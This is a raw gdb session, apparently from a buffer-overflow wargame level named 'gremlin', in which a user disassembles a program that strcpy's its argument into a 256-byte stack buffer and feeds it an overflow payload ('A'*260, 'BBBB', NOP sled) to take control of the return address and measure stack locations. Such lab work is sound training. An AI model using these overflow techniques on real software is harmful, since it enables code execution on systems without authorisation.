1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
| [gate@localhost gate]$ gdb gremlin_tmp
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x100,%esp
0x8048439 <main+9>: cmpl $0x1,0x8(%ebp)
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push $0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add $0x4,%esp
0x804844c <main+28>: push $0x0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add $0x4,%esp
0x8048456 <main+38>: mov 0xc(%ebp),%eax
0x8048459 <main+41>: add $0x4,%eax
0x804845c <main+44>: mov (%eax),%edx
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea 0xffffff00(%ebp),%eax
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370 <strcpy>
0x804846b <main+59>: add $0x8,%esp
0x804846e <main+62>: lea 0xffffff00(%ebp),%eax
0x8048474 <main+68>: push %eax
0x8048475 <main+69>: push $0x80484ec
0x804847a <main+74>: call 0x8048350 <printf>
0x804847f <main+79>: add $0x8,%esp
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
0x8048484 <main+84>: nop
0x8048485 <main+85>: nop
0x8048486 <main+86>: nop
0x8048487 <main+87>: nop
0x8048488 <main+88>: nop
0x8048489 <main+89>: nop
0x804848a <main+90>: nop
0x804848b <main+91>: nop
0x804848c <main+92>: nop
0x804848d <main+93>: nop
0x804848e <main+94>: nop
0x804848f <main+95>: nop
End of assembler dump.
(gdb) b *main+83
Breakpoint 1 at 0x8048483
(gdb) r `python -c "print 'A'*260 + 'BBBB' + '\x90'*100"`
Starting program: /home/gate/gremlin_tmp `python -c "print 'A'*260 + 'BBBB' + '\x90'*100"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 1, 0x8048483 in main ()
(gdb) x/32wx $esp
0xbffff9fc: 0x42424242 0x90909090 0x90909090 0x90909090
0xbffffa0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa5c: 0x90909090 0x90909090 0xbffffd00 0xbffffd34
0xbffffa6c: 0xbffffd4e 0xbffffd59 0xbffffd67 0xbffffda7
(gdb) r `python -c "print 'A'*260 + 'BBBB' + '\x90'*100000"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gate/gremlin_tmp `python -c "print 'A'*260 + 'BBBB' + '\x90'*100000"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 1, 0x8048483 in main ()
(gdb) x/32wx $esp
0xbffe73cc: 0x42424242 0x90909090 0x90909090 0x90909090
0xbffe73dc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe73ec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe73fc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe740c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe741c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe742c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe743c: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
|